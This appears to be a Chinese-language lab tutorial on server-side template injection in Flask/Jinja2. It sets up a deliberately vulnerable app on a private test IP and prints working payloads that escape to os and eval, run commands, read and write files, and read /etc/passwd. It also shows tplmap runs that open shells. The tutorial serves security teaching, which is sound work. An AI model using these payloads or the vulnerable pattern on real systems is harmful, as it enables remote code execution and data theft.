SSTI-服務端模板注入漏洞
原理:
服務端模板注入是由於服務端接收了用戶的輸入,將其作為 Web 應用模板內容的一部分,在進行目標編譯渲染的過程中,執行了用戶插入的惡意內容,因而導致了敏感信息泄露、代碼執行、GetShell 等問題。
其影響范圍主要取決於模版引擎的復雜性。
模板引擎
模板引擎(這里特指用於Web開發的模板引擎)是為了使用戶界面與業務數據(內容)分離而產生的,它可以生成特定格式的文檔,用於網站的模板引擎就會生成一個標准的HTML文檔。
參考:https://baike.baidu.com/item/%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E/907667?fr=aladdin

Flask(Jinja2)服務端模板注入
Jinja2是用於Python的全功能模板引擎。它具有完整的unicode支持,一個可選的集成沙盒執行環境,已被廣泛使用並獲得BSD許可。 Jinja2由Django或Flask之類的Python Web框架使用。
Jinja官方網站:
https://jinja.palletsprojects.com/en/2.11.x/
實驗測試:
flask ssti漏洞的代碼:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
訪問:http://192.168.81.128:8000/

傳入參數:?name={{6*7}},可以得到如下結果,說明存在SSTI漏洞。

在python里要執行系統命令需要import os模塊。
想要在模板中直接調用內置模塊 os,即需要在模板環境中對其注冊
需要在上面的代碼里加一句:
t.globals['os'] = os
如果沒有加這一句,直接使用os中的方法會報錯。
那么,如何在未注冊 os 模塊的情況下在模板中調用 popen() 函數執行系統命令呢?這就用到各種下划線函數了。
>>> [].__class__
<type 'list'>
>>> [].__class__.__base__
<type 'object'>
>>> [].__class__.__base__.__subclasses__()
class:用來查看變量所屬的類,根據前面的變量形式可以得到其所屬的類。
bases:用來查看類的基類,也可是使用數組索引來查看特定位置的值
subclasses():查看當前類的子類。直接用object.subclasses(),也會得到和一樣的結果。

由此可以訪問到很多其他模塊,os模塊自然也可以這樣訪問到。
訪問os模塊需要從warnings.catch_warnings模塊入手的。看一下catch_warnings在哪個位置。
>>> import warnings
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)

當我們獲取了位置后,再用func_global看看該模塊有哪些global函數
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()

這里能看到linecache,我們要訪問的os模塊就在這里,看看這個模塊的各種屬性:
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__

接下來就可以使用os模塊了。
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].system('id')

漏洞利用
獲取eval函數並執行任意python代碼的POC如下:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
訪問如下鏈接:
http://192.168.81.128:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
得到執行結果:

查看/etc/passwd

xss:name參數的值直接通過get請求獲取,並未做任何的處理,可以直接注入xss代碼。

Python進行文件讀寫/命令執行的常用命令
//獲取基本類
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//讀文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//寫文件
().__class__.__bases__[0].__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')
object.__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')

//執行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("dir").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ipconfig").read()' )

SSTI測試工具–Tplmap
GitHub:https://github.com/epinna/tplmap
幫助信息
C:\Users\hu1ge\Desktop\tplmap>cmd /k python2 tplmap.py -h
Usage: python tplmap.py [options]
Options:
-h, --help Show help and exit.
Target:
These options have to be provided, to define the target URL.
-u URL, --url=URL Target URL.
-X REQUEST, --re.. Force usage of given HTTP method (e.g. PUT).
Request:
These options have how to connect and where to inject to the target
URL.
-d DATA, --data=.. Data string to be sent through POST. It must be as
query string: param1=value1¶m2=value2.
-H HEADERS, --he.. Extra headers (e.g. 'Header1: Value1'). Use multiple
times to add new headers.
-c COOKIES, --co.. Cookies (e.g. 'Field1=Value1'). Use multiple times to
add new cookies.
-A USER_AGENT, -.. HTTP User-Agent header value.
--proxy=PROXY Use a proxy to connect to the target URL
Detection:
These options can be used to customize the detection phase.
--level=LEVEL Level of code context escape to perform (1-5, Default:
1).
-e ENGINE, --eng.. Force back-end template engine to this value.
-t TECHNIQUE, --.. Techniques R(endered) T(ime-based blind). Default: RT.
Operating system access:
These options can be used to access the underlying operating system.
--os-cmd=OS_CMD Execute an operating system command.
--os-shell Prompt for an interactive operating system shell.
--upload=UPLOAD Upload LOCAL to REMOTE files.
--force-overwrite Force file overwrite when uploading.
--download=DOWNL.. Download REMOTE to LOCAL files.
--bind-shell=BIN.. Spawn a system shell on a TCP PORT of the target and
connect to it.
--reverse-shell=.. Run a system shell and back-connect to local HOST
PORT.
Template inspection:
These options can be used to inspect the template engine.
--tpl-shell Prompt for an interactive shell on the template
engine.
--tpl-code=TPL_C.. Inject code in the template engine.
General:
These options can be used to set some general working parameters.
--force-level=FO.. Force a LEVEL and CLEVEL to test.
--injection-tag=.. Use string as injection tag (default '*').
Example:
./tplmap -u 'http://www.target.com/page.php?id=1*'
模板注入測試
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge"
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name //注入參數:name
Engine: Jinja2 //使用的模板引擎
Injection: {{*}} //注入方法
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok //檢驗當前環境可使用的利用方法
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:
--os-shell 在目標上運行shell
--os-cmd 執行shell命令
--bind-shell PORT 連接到目標端口的shell綁定
--reverse-shell HOST PORT 將shell發送回攻擊者的端口
--upload LOCAL REMOTE 將文件上載到服務器
--download REMOTE LOCAL 下載遠程文件
--os-cmd 執行命令
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge" --os-cmd whoami

--os-shell 直接獲取交互式shell環境
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge" --os-shell
